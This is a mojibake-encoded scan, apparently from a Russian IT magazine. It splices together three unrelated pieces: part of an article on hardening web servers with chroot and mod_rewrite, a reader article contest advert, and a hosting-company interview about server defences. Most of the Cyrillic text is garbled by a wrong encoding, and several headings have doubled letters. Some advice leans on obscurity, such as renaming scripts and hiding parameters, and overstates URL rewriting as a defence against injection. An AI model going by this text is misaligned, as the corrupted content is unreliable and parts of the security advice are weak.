íàðèé news.php, êîòîðûé îòîáðàæàåò îïðåäåëåí-
íóþ íîâîñòü. Èäåíòèôèêàòîð íîâîñòè ïåðåäàåòñÿ
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Êîíå÷íî, åñëè òû ðàáîòàåøü ñ Linux,
è íà îäíîì ñåðâåðå äîëæíî íàõîäèòüñÿ
íåñêîëüêî ñàéòîâ, òî êàæäûé èç íèõ æå-
ëàòåëüíî ðàçìåñòèòü â ñâîåé ñðåäå
chroot. Â îòäåëüíûé chroot âìåñòå ñ äè-
ðåêòîðèåé ñàéòà íåîáõîäèìî óáèðàòü
è web-ñåðâåð. Ýòîò æå ôèíò íóæíî äå-
ëàòü è òîãäà, êîãäà íà îäíîì æåëåçå âå-
ðèòüñÿ íå òîëüêî web, íî è äðóãèå ñåð-
âèñû, íàïðèìåð ïî÷òà. Â ýòîì ñëó÷àå,
âçëîìàâ, ê ïðèìåðó, ñàéò, õàêåð íå ñìî-
æåò ïîëó÷èòü äîñòóï ê ïî÷òå. 

Ïðèíöèï ðàáîòû chroot ïðîñòîé.
Äëÿ íà÷àëà ñîçäàåòñÿ äèðåêòî-
ðèÿ (â Linux äëÿ ýòîãî ñóùåñòâóåò êîìàí-
äà chroot), êîòîðàÿ ÿâëÿåòñÿ äëÿ ïðîã-
ðàììû êîðíåâîé. Âûøå ýòîé äèðåêòîðèè
ïðîãðàììà, ïîìåùåííàÿ â çàêðûòîå îê-
ðóæåíèå, ïîïàñòü íå ìîæåò. ×òîáû ïðî-
ùå áûëî êîíôèãóðèðîâàòü chroot, ðåêî-
ìåíäóåì èñïîëüçîâàòü óòèëèòó jail. Îíà
ðåàëüíî óïðîùàåò êîíôèãóðèðîâàíèå. 

Íà ñõåìå îêðóæåíèÿ chroot ïîêàçàíà
÷àñòü ôàéëîâîé ñèñòåìû Linux. Âî ãëà-
âå âñåãî ñòîèò êîðíåâàÿ äèðåêòîðèÿ «/».
Â íåé íàõîäÿòñÿ /bin, /etc, /home, /usr
è ò.ä. Â /home ðàñïîëîæåíû êàòàëîãè

ïîëüçîâàòåëåé ñèñòåìû. Ñîçäàåì íîâóþ
äèðåêòîðèþ, äëÿ ïðèìåðà íàçûâàåì åå
chroot. Îíà áóäåò ÿâëÿòüñÿ êîðíåì äëÿ
ñëóæáû. Â íåé áóäóò ñâîè êàòàëîãè /bin,
/usr è ò.ä. È ñëóæáà áóäåò ðàáîòàòü ñ íè-
ìè, à âñå, ÷òî âûøå /home/chroot, áóäåò
íåäîñòóïíî. Ïðîñòî îíà áóäåò ñ÷èòàòü,
÷òî /home/chroot � ýòî è åñòü êîðåíü
ôàéëîâîé ñèñòåìû. 

Íà ðèñóíêå â ðàìêó îáâåäåíû ïàïêè,
êîòîðûå áóäóò âèäíû ñëóæáå. Èìåííî
â ýòîì ïðîñòðàíñòâå îíà áóäåò ðàáîòàòü.
Åñëè õàêåð ïðîíèêíåò â ñèñòåìó ÷åðåç

çàùèùåííóþ ñëóæáó è çàõî÷åò ïðîñ-
ìîòðåòü êàòàëîã /etc, òî îí óâèäèò êàòà-
ëîã /home/chroot/etc, íî íèêàê íå ñèñ-
òåìíûé /etc. ×òîáû âçëîìùèê íè÷åãî íå
çàïîäîçðèë, â êàòàëîãå /home/chroot/etc
ìîæíî ðàñïîëîæèòü âñå íåîáõîäèìûå
ôàéëû. Çàïðîñèâ ôàéë /etc/passwd ÷å-
ðåç óÿçâèìóþ ñëóæáó, õàêåð ïîëó÷èò
äîñòóï ê /home/chroot/etc/passwd. À ôàéë
/home/chroot/etc/passwd, â ñâîþ î÷åðåäü,
ìîæåò ñîäåðæàòü íåâåðíûå ïàðîëè. Íà
ðàáîòó ñèñòåìû â öåëîì ýòî íå ïîâëèÿ-
åò, à äåçèíôîðìàöèÿ õàêåðó îáåñïå÷åíà. 

/

bin usr var home

bin bin bin

bin usr var home

user1 user2
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÷åðåç ïàðàìåòð id. Òî åñòü ðåàëüíûé URL äëÿ ïðîñ-
ìîòðà íîâîñòè ïîä íîìåðîì 1 áóäåò âûãëÿäåòü òàê:

http://www.òâîé_ñåðâåð.ru/news.php?id=1

×òîáû õàêåð íå âèäåë ýòîãî, äåëàåì ñëåäóþùóþ
ìàñêèðîâêó: 

RewriteRule ̂ news_([0-9]*).htm

news.php?id=$1

Òåïåðü äëÿ ïðîñìîòðà íîâîñòè íåîáõîäèìî áóäåò
íàáðàòü â URL:

http://www.òâîé_ñåðâåð.ru/news_1.html

Ïîëó÷èâ òàêîé âèðòóàëüíûé URL, ìîäóëü mod_rewrite
ïðåîáðàçóåò åãî â ðåàëüíûé http://www.òâîé_ñåð-
âåð.ru/news.php?id=1 è êîððåêòíî âûïîëíèò. 

Ïîñìîòðèì, êàê ìû äîáèëèñü òàêîãî ñ÷àñòüÿ,
ðàçîáðàâ äèðåêòèâó ïî ÷àñòÿì: 

� RREEWWRRIITTEERRUULLEE

ÍÀ×ÀËÎ ÏÐÀÂÈËÀ.

� NNEEWWSS__(([[00-99]]**))..HHTTMM

ØÀÁËÎÍ, ÎÏÐÅÄÅËßÞÙÈÉ, ÊÀÊ ÁÓÄÅÒ

ÂÛÃËßÄÅÒÜ URL ÄËß ÏÎËÜÇÎÂÀÒÅËß. 

Â ñàìîì íà÷àëå ñòîèò ñèìâîë êðûøè. Íåò, ýòî
íå áàíäèòû, êîòîðûå áóäóò ïðåäîñòàâëÿòü íàì êðû-
øó, ýòî òàêîé ñèìâîë (^), îáîçíà÷àþùèé íà÷àëî
ñòðîêè :). Ïîñëå ýòîãî èäåò òåêñòîâàÿ ñòàòè÷åñêàÿ
÷àñòü (news_), êîòîðàÿ áóäåò âûäåëÿòü øàáëîí èç
ìàññû äðóãèõ. Âåäü íà ñàéòå ìîãóò áûòü åùå
è ñòàòüè, è ôîðóì, è åùå ìíîãî ÷åãî èíòåðåñíîãî.
Çàòåì â ñêîáî÷êàõ óêàçûâàåì øàáëîí òîãî, ÷òî ìî-
æåò áûòü â ýòîì ìåñòå URL-àäðåñà. Òàê êàê èäåíòè-

ôèêàòîð íîâîñòè � ýòî ÷èñëî, òî øàáëîí âûãëÿäèò
òàê: [0-9] � ëþáûå ñèìâîëû îò íóëÿ äî äåâÿòè, ïîñ-
ëå ñòîèò çâåçäî÷êà, êîòîðàÿ ãîâîðèò, ÷òî öèôð ìî-
æåò áûòü íåñêîëüêî. Ïîñëå øàáëîíà ñíîâà èäåò ñòà-
òè÷åñêàÿ ÷àñòü:

news.php?id=$1 � âî ×òî íóæíî ïðåâðàòèòü

âèðòóàëüíûé àäðåñ, $1 � ñîîòâåòñòâóåò

çíà÷åíèþ, âûðåçàííîìó ïî ïåðâîìó 

øàáëîíó (ó íàñ îí åäèíñòâåííûé)

Áëàãîäàðÿ øàáëîíó óáèâàåì äâóõ çàéöåâ, è åùå îä-
íîãî ðàçðûâàåì â êëî÷üÿ :). Ïåðâûé çàÿö çàêëþ÷à-
åòñÿ â òîì, ÷òî ìû ïðÿ÷åì ðåàëüíûé PHP-ñöåíàðèé.
Âòîðîé çàÿö � ýòî òî, ÷òî õàêåð íå âèäèò èìÿ ïàðà-
ìåòðà. Íó, à òðåòèé çàÿö, êîòîðîãî ïðîñòî ïîðâà-
ëî � ýòî òî, ÷òî õàêåð íå ñìîæåò ïåðåäàòü ñöåíà-
ðèþ íè÷åãî, êðîìå ÷èñåë. Øàáëîí [0-9] âûðåçàåò
ëþáûå áóêâû è ñèìâîëû, à çíà÷èò, èíúåêöèÿ ñòàíî-
âèòñÿ íåâîçìîæíîé. 

Íî åñëè õàêåð âû÷èñëèò ðåàëüíûé ñöåíàðèé è
åãî ïàðàìåòð, òî ìû íå òî ÷òî çàéöåâ íå óáüåì, ìû
äàæå ìóõó íå èñïóãàåì! Îáðàòèâøèñü ê news.php
íàïðÿìóþ, õàêåð îáõîäèò âñå ïðàâèëà mod_rewrite. 

×òîáû õàêåð íå ñìîã îáðàòèòüñÿ ê ôèçè÷åñ-
êèì ôàéëàì íà ñåðâåðå, ìîæíî âûïîëíèòü îäíî èç
ñëåäóþùèõ óñëîâèé: 

1  ÇÀÏÐÅÒÈÒÜ ÏÐßÌÎÉ ÄÎÑÒÓÏ Ê
PHP-ÑÖÅÍÀÐÈßÌ, ×ÒÎÁÛ ÕÀÊÅÐÓ 
ÏÐÈØËÎÑÜ ÈÑÏÎËÜÇÎÂÀÒÜ ÂÈÐÒÓÀËÜ-
ÍÓÞ ÏÛËÜ, ÊÎÒÎÐÓÞ ÌÛ ÍÀÏÓÑÒÈËÈ.

2  ÍÈÊÎÃÄÀ ÍÅ ÍÀÇÛÂÀÒÜ ÑÖÅÍÀÐÈÈ 
ÏÎÍßÒÍÛÌÈ ÈÌÅÍÀÌÈ. 

Ãëàâíàÿ ñòðàíèöà íèêîãäà íå äîëæíà èìåòü èìÿ in-
dex.php èëè main.php, íàçîâè åå ëó÷øå enter_to_my_pri-
vate.php èëè åùå ïîçàáîðèñòåé. Çà íîâîñòè íå äîë-

æåí îòâå÷àòü ñöåíàðèé news.php, åãî ëó÷øå íàç-
âàòü my_99545_news.php. Òà æå ïåñíÿ è ñ ïàðàìåò-
ðàìè � çàáóäü ïðî id, sid, index, start, page è ò.ä. È,
êîíå÷íî æå, íà mod_rewrite íàäåéñÿ, à ñàì íå ïëî-
øàé. Ïðîâåðÿé âñå â ñöåíàðèè ñîáñòâåííîðó÷íî,
÷òîáû ïðåäîòâðàòèòü àòàêè. Ýòî, êàê ãîâîðèòñÿ, áåç
êîììåíòàðèåâ è äîëæíî âûïîëíÿòüñÿ âíå çàâèñè-
ìîñòè îò óñòàíîâëåííûõ äîïîëíèòåëüíûõ ñðåäñòâ
êîíòðàöåïöèè. 

Âûøå ìû ðàññìîòðåëè ïðîñòîé ïðèìåð ñ íî-
âîñòÿìè, êîãäà ÷åðåç ïàðàìåòðû ïåðåäàåòñÿ ÷èñëî.
À ÷òî åñëè íóæíî ïåðåäàâàòü ñòðîêó? Äà áåç ïðîá-
ëåì, ïðîñòî ïèøåøü ñëåäóþùèé øàáëîí: 

RewriteRule ̂ news_([a-z0-9]*).htm

news.php?id=$1

Ýòîò øàáëîí ïîçâîëÿåò ïåðåäàâàòü íå òîëüêî ÷èñ-
ëà, íî è áóêâû îò a äî z. Ýòî òîæå íå îïàñíî, ãëàâ-
íîå � íå ðàçðåøàòü èñïîëüçîâàòü ñèìâîëû îäèíàð-
íîé êàâû÷êè, çàïÿòûå, òèðå è ò.ï. Áóêâû è öèôðû
íå íåñóò â ñåáå òàêîé îïàñíîñòè, êàê ñèìâîëû. 

èòîãî. Ïðè ïðàâèëüíîì êîíôèãóðèðîâàíèè ñåð-
âåðà è ñ ïîìîùüþ äîïîëíèòåëüíûõ ìîäóëåé ìîæíî
çàùèòèòüñÿ äàæå îò óæàñíûõ ñöåíàðèåâ, êîòîðûå
ïðîñòî êèøàò îøèáêàìè SQL Injection èëè XSS. Åñëè
ñåðâåð âñå æå âçëîìàëè, òî âèíîâàò íå òîëüêî ïðîã-
ðàììèñò, íî è àäìèíèñòðàòîð. 

Ñ äðóãîé ñòîðîíû, ïðîãðàììèñò íå äîëæåí
íàäåÿòüñÿ íà àäìèíà, ÷òî òîò íàñòðîèò ñåðâåð ìàê-
ñèìàëüíî áåçîïàñíî. À àäìèíèñòðàòîð, â ñâîþ î÷å-
ðåäü, íå äîëæåí óïîâàòü íà êîä è íà òî, ÷òî ïðîã-
ðàììèñò íå ñîâåðøèò îøèáîê.

wwwwww..mmooddsseeccuurriittyy..oorrgg
ìîäóëü mod_security

hhttttpp::////hhttttppdd..aappaacchhee..oorrgg//ddooccss//11..33//mmoodd//mmoodd__rreewwrriittee..hhttmmll
ìîäóëü mod_rewrite

Èíôîðìàöèÿ ïî mod_rewrite

Ñõåìà ðàáîòû mod_rewrite



Â êîíêóðñå áóäóò ó÷àñòâîâàòü ñòàòüè, ïðèñëàííûå äî 1 èþëÿ 2007 ãîäà. Ñòàòüè äîëæíû
ñîîòâåòñòâîâàòü  òåìàòèêå æóðíàëà. Îáúåì ñòàòüè äîëæåí  áûòü íå ìåíåå 9 òûñÿ÷ çíàêîâ 
(ñ ïðîáåëàìè). Ñòàòüÿ äîëæíà âêëþ÷àòü â ñåáÿ èëëþñòðàöèè (êàðòèíêè, ôîòîãðàôèè,
ñêðèíøîòû).

ÊÊððèèòòååððèèÿÿììèè îîööååííêêèè ááóóääóóòò ââûûññòòóóïïààòòüü:: òåõíè÷åñêàÿ ãðàìîòíîñòü, èíòåðåñíîñòü è íåîáû÷íîñòü,
ïîëåçíîñòü, ëèòåðàòóðíàÿ ãðàìîòíîñòü, ñòèëü íàïèñàíèÿ è ëåãêîñòü ÷òåíèÿ ìàòåðèàëà.

ÒÒððååòòüüåå ììååññòòîî:: öèôðîâàé ôîòîêàìåðà Samsung NV-7 c 7-ìåãàïèêñåëüíûì ðàçðåøåíèåì 
è 7-êðàòíûì çóì-îáúåêòèâîì Schneider-Kreuznach. Âñå ýòî ñîáðàíî âîåäèíî â ëåãêîì 
è ñòèëüíîì êîðïóñå èç ÷åðíîãî àëþìèíèåãî ñïëàâà, êîòîðûé íàäåæíî çàùèòèò àïïàðàò 
îò ñëó÷àéíûõ ñòîëêíîâåíèé ñ òâåðäûìè ïðåäìåòàìè.

ÌÌûû õõîîòòèèìì,, ÷÷òòîîááûû òòûû ääååééññòòââèèòòååëëüüííîî ïïîîññòòààððààëëññÿÿ,, ââûûëëîîææèèëëññÿÿ ííàà ââññåå ññòòîî.. ÏÏîîýýòòîîììóó,, ÷÷òòîîááûû
ïïîîääññòòååããííóóòòüü òòââîîåå ððââååííèèåå èè ççààèèííòòððèèããîîââààòòüü òòååááÿÿ,, èèííôôîîððììààööèèþþ îî ïïððèèççààõõ ççàà 11-îîåå èè 22-îîåå ììååññòòàà 
ììûû ááóóääååìì ääååððææààòòüü ââ ññååêêððååòòåå..

ÓÑËÎÂÈß Ó×ÀÑÒÈß
Â ÊÎÍÊÓÐÑÅ:

ÏÐÈÇÛ:

Ñëåäè çà ïóáëèêóåìûìè ñïèñêàìè ïîáåäèòåëåé.
Ëó÷øèå àâòîðû ïîëó÷àò öåííûå öèôðîâûå ïðèçû 
îò æóðíàëà «ÑÏÅÖ» è íàøèõ ïàðòíåðîâ!

??
1 ÌÅÑÒÎ 3 ÌÅÑÒÎ  

ÖÈÔÐÎÂÎÉ 
ÔÎÒÎÀÏÏÀÐÀÒ 
SAMSUNG NV-7

2 ÌÅÑÒÎ

ÊÎÍÊÓÐÑ ÄËß ×ÈÒÀÒÅËÅÉ ÑÏÅÖÀ!

ÌÛ ÏÐÎÂÎÄÈÌ ÊÎÍÊÓÐÑ ÍÀ ËÓ×ØÓÞ ÑÒÀÒÜÞ ÎÒ ÍÀØÈÕ ×ÈÒÀÒÅËÅÉ! ÒÛ ÎÒËÈ×ÍÎ ÐÀÇÁÈ-

ÐÀÅØÜÑß Â ÑÎÂÐÅÌÅÍÍÛÕ ÈÍÔÎÐÌÀÖÈÎÍÍÛÕ ÒÅÕÍÎËÎÃÈßÕ? ÄËß ÒÅÁß ÍÅÒ ÑÅÊÐÅÒÎÂ 

Â ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈÈ? ÌÎÆÅØÜ ÑÄÅËÀÒÜ ÊÐÓÒÅÉØÈÉ ÂÅÁ-ÑÀÉÒ ÄÀÆÅ Â ÁËÎÊÍÎÒÅ, 

ÍÀÄÅÆÍÎ ÇÀÙÈÒÈØÜ ÎÒ ÂÒÎÐÆÅÍÈß ÑÅÒÜ ËÞÁÎÃÎ ÐÀÇÌÅÐÀ? ÇÍÀÅØÜ ×ÒÎ-ÒÎ ÒÀÊÎÅ, 

×ÒÎ ÁÓÄÅÒ ÈÍÒÅÐÅÑÍÎ ÄÐÓÃÈÌ, È ÈÙÅØÜ ÑÏÎÑÎÁ ÏÎÄÅËÈÒÜÑß ÈÍÔÎÐÌÀÖÈÅÉ? ÒÎÃÄÀ 

ÒÛ ÏÐÈØÅË ÏÎ ÀÄÐÅÑÓ! ÍÀÏÈØÈ ÑÒÀÒÜÞ ÍÀ ÒÓ ÒÅÌÓ, ÊÎÒÎÐÀß ÒÅÁÅ ÍÀÈÁÎËÅÅ ÁËÈÇÊÀ, 

Â ÊÎÒÎÐÎÉ ÒÛ ÐÀÇÁÈÐÀÅØÜÑß ËÓ×ØÅ ÂÑÅÕ È ÏÐÈØËÈ ÅÅ ÍÀÌ.
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Â Ç Ë Î Ì Î Â ?

WWW.SL.RU
òåõíè÷åñêèé äèðåêòîð
Ñèíõðîëàéí
Âëàäèìèð Ñåëåçíåâ

WWW.HOST-PLANET.RU
ñëóæáà òåõíè÷åñêîé
ïîääåðæêè

WWW.KOSMOHOST.COM
óïðàâëÿþùèé ÊîñìîÕîñò
Àíäðåé Êîëîñîâ

WWW.PETERHOST.RU
ãåíåðàëüíûé äèðåêòîð
PeterHost.Ru 
Äìèòðèé Êîñòÿõèí

WWW.HOSTER.RU
ñëóæáà òåõíè÷åñêîé
ïîääåðæêè
Äìèòðèé Âàãèí

SL.RU: Äëÿ òåñòèðîâàíèÿ áåçîïàñíîñòè ñåðâåðîâ èñïîëüçóåì ðàçëè÷íûå îòêðûòûå (OpenSource) ñðåä-
ñòâà. Òåñòèðóåì ðàáîòó ñàéòîâ è âèðòóàëüíûõ âûäåëåííûõ ñåðâåðîâ ïîä íàãðóçêîé, ìîäåëèðóÿ áîëüøîå
êîëè÷åñòâî îáðàùåíèé (httpload). Òàêæå ïðîâîäèì àíàëèç ïðîãðàìì, óñòàíîâëåííûõ íà âèðòóàëüíîì
ñåðâåðå (rootkit check) èëè íà ñàéòå � ñèñòåìû óïðàâëåíèÿ ñàéòàìè, ôîðóìû èëè äðóãèå ïîïóëÿðíûå
ïðèëîæåíèÿ. Ñàì òðàôèê àíàëèçèðóåì ñèñòåìîé îáíàðóæåíèÿ âòîðæåíèé (IDS) Snort.
HOST-PPLANET.RU: Ïîèñê óÿçâèìîñòåé ìû îñóùåñòâëÿåì ñ ïîìîùüþ ïðîãðàììíûõ ïàêåòîâ Port
Sentry, Snort, IPPL. Áîëüøèíñòâî èç íèõ çàíèìàåòñÿ ïðîòîêîëèðîâàíèåì âõîäÿùèõ ïàêåòîâ, íî òàêæå 
ìû èñïîëüçóåì è ñêàíåðû cåòè, íàïðèìåð ïàêåò courtney, íàïèñàííûé íà Perl. Îí ïîçâîëÿåò ôèëüòðî-
âàòü èíôîðìàöèîííûå ïîòîêè, ïðèõîäÿùèå íà ñåòåâûå èíòåðôåéñû ñåðâåðîâ, è îòñëåæèâàòü îïðåäå-
ëåííûå øàáëîíû äàííûõ.
KOSMOHOST.COM: Ïðîãðàììû äëÿ òåñòèðîâàíèÿ áåçîïàñíîñòè ñåðâåðîâ íå èñïîëüçóåì. Â îñíîâíîì
çàùèùàåì ñåðâåðû ñòàíäàðòíûìè ìåòîäàìè iptables + àíòèâèðóñ (Clamav) + íàñòðîéêà ñåðâèñîâ.
Íà äàííûé ìîìåíò îñíîâíàÿ ïðîáëåìà ïðè çàùèòå ñåðâåðîâ � ýòî, êîíå÷íî æå, ðàñïðîñòðàíåííûå
äâèæêè ñàéòîâ, òî åñòü ðàçëè÷íûå ôîðóìû, CMS, áëîãè è ò.ï. Îñîáåííî íå îáíîâëåííûå è òàê 
íàçûâàåìûå «íóëåííûå âåðñèè». Çà÷àñòóþ çëîóìûøëåííèê, çíàÿ, êàê ðàáîòàåò òàêîé ñêðèïò, 
èñïîëüçóåò íàéäåííóþ â êîäå óÿçâèìîñòü (îáû÷íî èçâåñòíóþ ëþáîìó øêîëüíèêó) è çàëèâàåò ñâîé
ñêðèïò â ïàïêó ñ âðåìåííûìè ôàéëàìè, ïîñëå ÷åãî çàïóñêàåò ýòîò ñêðèïò. Ïûòàåòñÿ òðàòèòü ðåñóðñû
ñåðâåðà âïóñòóþ èëè ïðî÷åñòü äàííûå ñ ëîãèíàìè, ïàðîëÿìè è äðóãóþ êðàéíå âàæíóþ èíôîðìàöèþ. 
Ïîýòîìó î çàùèòå ñåðâåðà è âëàäåëåö ñàéòà äîëæåí íå çàáûâàòü, ñâîåâðåìåííî îáíîâëÿÿ ñâîè ñêðèï-
òû, òåì ñàìûì, êàê ìèíèìóì, çàêðûâàÿ èçâåñòíûå óÿçâèìîñòè.
PETERHOST.RU: Äëÿ îáåñïå÷åíèÿ áåçîïàñíîñòè ñåðâåðîâ êîìïàíèÿ PeterHost.Ru èñïîëüçóåò 
ïðîãðàììíî-àäìèíèñòðàòèâíûé êîìïëåêñ ñîáñòâåííîé ðàçðàáîòêè. Ìû îïèðàåìñÿ íà ñòàíäàðòíûå 
ðåøåíèÿ, îäíàêî íèêîãäà íå âíåäðÿåì èõ áåç ïðåäâàðèòåëüíîé äîðàáîòêè. Â êîìïëåêñ âõîäÿò ìåòîäû
íàñòðîéêè ñåðâåðîâ, íàáîð òåñòîâ äëÿ âûÿâëåíèÿ âîçìîæíûõ «äûð» â çàùèòå ñåðâåðà, à òàêæå äîâîëü-
íî ñëîæíàÿ ñèñòåìà ìîíèòîðèíãà, ïîçâîëÿþùàÿ îïåðàòèâíî îïðåäåëèòü àòàêó, âûÿâèòü àäðåñà, ñ êîòî-
ðûõ îíà âåäåòñÿ, è åå öåëü. Â ñëó÷àå ñïàìîïîäà÷è ñ íàøèõ ñåðâåðîâ ñèñòåìà ïîçâîëÿåò áûñòðî è òî÷íî
îïðåäåëèòü ïîëüçîâàòåëÿ, ðàññûëàþùåãî ñïàì.
HOSTER.RU: Ñòàíäàðòíûå ïðîãðàììû ïî àóäèòó áåçîïàñíîñòè ìû íå èñïîëüçóåì. 7 ëåò ðàáîòû â îá-
ëàñòè õîñòèíãà ïîçâîëèëè êîìïàíèè íàêîïèòü îïûò ïî íàñòðîéêå, òåñòèðîâàíèþ è çàùèòå ñåðâåðîâ.
Ìíîãî÷èñëåííûå ñàéòû êëèåíòîâ, íåêîòîðûå èç êîòîðûõ ÿâëÿþòñÿ îáúåêòîì ïðèñòàëüíîãî âíèìàíèÿ ñî
ñòîðîíû õàêåðîâ, äàþò íåîöåíèìûé îïûò ïðè ðàçðàáîòêå áåçîïàñíîñòè ñèñòåìû. Íà äàííûé ìîìåíò íà-
èáîëüøåå âíèìàíèå óäåëÿåòñÿ ìåòîäàì çàùèòû îò DDoS.

SL.RU: Îáíîâëÿåì ïðîãðàììíîå îáåñïå÷åíèå íà ñîáñòâåííûõ ñåðâåðàõ ïî ìåðå âûïóñêà íîâûõ 
âåðñèé ïðèëîæåíèé. Êëèåíòàì ïðåäîñòàâëÿåì ïðîñòîé è óäîáíûé èíòåðôåéñ äëÿ îáíîâëåíèÿ 
ïðîãðàìì íà ñòîðîíå ïîëüçîâàòåëÿ (íàæàòèåì îäíîé êíîïêè), ïîäïèñûâàåì íà àâòîìàòè÷åñêîå 
îáíîâëåíèå ïðîãðàìì ïðîâàéäåðîì � íà èõ ñàéòå èëè âûäåëåííîì ñåðâåðå. Â íà÷àëüíîé óñòàíîâêå
ñàéò/VPS ñîäåðæèò òîëüêî ìèíèìóì ïðîãðàìì (PHP, FTP, Sendmail). Åñëè ïîëüçîâàòåëþ íóæíû 
äðóãèå ïðîãðàììû, îí ìîæåò èõ äîáàâèòü ñàìîñòîÿòåëüíî. Ìåæäó ïðèëîæåíèÿìè ïðèìåíÿåòñÿ 
ïðèíöèï «ìàêñèìàëüíîãî èñïîëüçîâàíèÿ ëîêàëüíûõ ñîåäèíåíèé» (íàïðèìåð, ìåæäó PHP è MySQL). 
Òî åñòü ñåòåâûå îòêëþ÷àòü, íî åñëè ýòî íå âîçìîæíî, îãðàíè÷èâàòü âõîäÿùèå ñåòåâûå ïîäêëþ÷åíèÿ
FireWall (ðàçðåøåíî òîëüêî îïðåäåëåííûì IP, îñòàëüíûì çàïðåùåíî). Åñëè íóæåí äîñòóï 
ñî âñåõ IP � îãðàíè÷åíèå ïî èìåíè ïîëüçîâàòåëÿ è ïàðîëþ. Ñåòåâîé òðàôèê àíàëèçèðóåòñÿ IDS. 
Ëîã-ôàéëû ïðîãðàìì îáðàáàòûâàþòñÿ ôèëüòðàìè, îïàñíûå/íåîáû÷íûå çàïèñè îòïðàâëÿþòñÿ 
íà email àäìèíèñòðàòîðà.
HOST-PPLANET.RU: Çàùèòà ñåòè ñåðâåðîâ � ýòî íå òîëüêî ðåãóëÿðíûé ïðîñìîòð æóðíàëîâ, 
ïðîâåðêà ôóíêöèîíèðîâàíèÿ áðàíäìàóýðà è áëîêèðîâàíèå óçëîâ, äëÿ êîòîðûõ äîñòóï âíóòðü 
ñåòè çàïðåùåí. Äëÿ íàñ çàùèòà ñåòè � èíòåëëåêòóàëüíûé ïðîöåññ. Ìû äîëæíû ïîñòàâèòü ñåáÿ 
íà ìåñòî çëîóìûøëåííèêà, ïûòàþùåãîñÿ ïðîíèêíóòü âíóòðü, ïðèñòóïèòü ê ïîèñêó ñîáñòâåííûõ óÿçâè-
ìûõ ìåñò, ïðîàíàëèçèðîâàòü ýòè óÿçâèìîñòè è ïðèíÿòü ìåðû, ÷òîáû îáåçîïàñèòü íàøè ñåðâåðû îò àòàê.
×òîáû óçíàòü î ñóùåñòâîâàíèè óÿçâèìûõ ìåñò, èõ íàäî èñêàòü � ëó÷øåãî ñðåäñòâà íå ñóùåñòâóåò. Íó,
è, êîíå÷íî æå, ìû âêëþ÷àåì PHP-ïàðàìåòð safe_mode. 
KOSMOHOST.COM: Äëÿ ïðåäîòâðàùåíèÿ âçëîìîâ èñïîëüçóåì ìîäèôèöèðîâàííûé ïîä íàøó 
ñèñòåìó ñêðèïò Nobody Check è ñîáñòâåííûå íàðàáîòêè.
PETERHOST.RU: Áåçîïàñíîñòü íàøèõ ñîáñòâåííûõ ñåðâåðîâ îáåñïå÷èâàåòñÿ ìåðàìè, îïèñàííûìè
âûøå. Ñàéòû êëèåíòîâ îáû÷íî âçëàìûâàþòñÿ ÷åðåç óñòàíîâëåííûé íà íèõ íåáåçîïàñíûé ñîôò. 
Ïî ìåðå âîçìîæíîñòè íàøà êîìïàíèÿ, êàê è äðóãèå õîñòåðû, ñòàðàåòñÿ ýòî ïðåäîòâðàòèòü ïóòåì 
òåñòèðîâàíèÿ êëèåíòñêèõ ñàéòîâ. Îäíàêî íóæíî ïîíèìàòü, ÷òî ãàðàíòèè ïîëíîé áåçîïàñíîñòè çäåñü 
äàâàòü íåâîçìîæíî. Íàïðèìåð, ó íàøåé êîìïàíèè áîëåå 8 òûñÿ÷ êëèåíòîâ, ïðàêòè÷åñêè ó êàæäîãî 
èç íèõ ïî íåñêîëüêî ñàéòîâ. Íà êîìïëåêñíîå òåñòèðîâàíèå êàæäîãî ñàéòà ïîòðåáîâàëîñü áû îãðîì-
íîå êîëè÷åñòâî âðåìåíè è cðåäñòâ. Ïîýòîìó ìû âûÿâëÿåì ñàìûå ðàñïðîñòðàíåííûå «äûðû» � 
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ïðîèçâîäèì ïðîâåðêó íà óñòàíîâëåííûå óñòàðåâøèå âåðñèè ïîïóëÿðíûõ ôîðóìîâ, äëÿ êîòîðûõ 
èìåþòñÿ èçâåñòíûå óÿçâèìîñòè, íà íåïðàâèëüíîå èñïîëüçîâàíèå íåêîòîðûõ ôóíêöèé â PHP. 
Â ñëó÷àå âçëîìà êëèåíòñêîãî ñàéòà, ìû àíàëèçèðóåì, êàêèì îáðàçîì ýòî áûëî ñäåëàíî, ñîîáùàåì
ïîëüçîâàòåëþ îá îøèáêàõ, à ïîòîì ïðîâåðÿåì äðóãèå ñàéòû íà íàëè÷èå ñëåäîâ âçëîìà àíàëîãè÷íûì
ñïîñîáîì (÷åðåç àíàëèç ëîãîâ).
HOSTER.RU: Â ïðàêòèêå êîìïàíèè íå áûëî ñëó÷àåâ âçëîìà íàøèõ ñåðâåðîâ. Ïîñòîÿííûé ìîíèòîðèíã
ïðîöåññîâ íà ñåðâåðå ïîçâîëÿåò íàõîäèòü îòêëîíåíèÿ èëè îáíàðóæèâàòü ôàêòû âçëîìà êëèåíòñêèõ ñàéòîâ.

SL.RU: Ñïåöèàëüíûõ ìîäóëåé ó íàñ íåò, àòàêè îáíàðóæèâàþòñÿ IDS (îíëàéí), ÷àñòè÷íî ïðåñåêàþòñÿ
Firewall (linux � iptables, Cisco PIX è ò.ä.) èëè íà îñíîâå àíàëèçà ëîã-ôàéëîâ (oôôëàéí). Äëÿ áîðüáû
ñ DDoS-àòàêàìè èñïîëüçóåì ñîáñòâåííûå ïðîãðàììû, êîòîðûå äèíàìè÷åñêè âíîñÿò èçìåíåíèÿ â Firewall,
ïîëó÷àÿ äàííûå îò àíàëèçàòîðîâ òðàôèêà. 
HOST-PPLANET.RU: Ìû èñïîëüçóåì îáðàòíûé ïðîêñè mod_security ñ ðÿäîì óñòàíîâîê, ñïîñîáñòâóþùèõ
îòêëîíåíèþ çàïðîñîâ, êîòîðûå ìîãóò ïðåäñòàâëÿòü îïàñíîñòü.
KOSMOHOST.COM: Çàùèùàåìñÿ ïðè ïîìîùè iptables, òî åñòü ïî ñóòè îòñåêàåì ïàêåòû, êîòîðûå 
íå ìîãóò áûòü âåðíî èäåíòèôèöèðîâàíû, ëèáî ïðîèçâîäÿùèå áîëüøîå êîëè÷åñòâî çàïðîñîâ 
ñ îäíîãî IP. Åñëè ãîâîðèòü î mod_security, òî åãî íå èñïîëüçóåì, òàê êàê äàííàÿ ñèñòåìà íå âñåãäà 
ïðàâèëüíî îïðåäåëÿåò, îòñåêàòü îñòàëüíûå çàïðîñû ñ IP èëè íåò. È, åñëè ÿ íå îøèáàþñü, äàííûé 
ìîäóëü ÿâëÿåòñÿ ýêñïåðèìåíòàëüíûì.
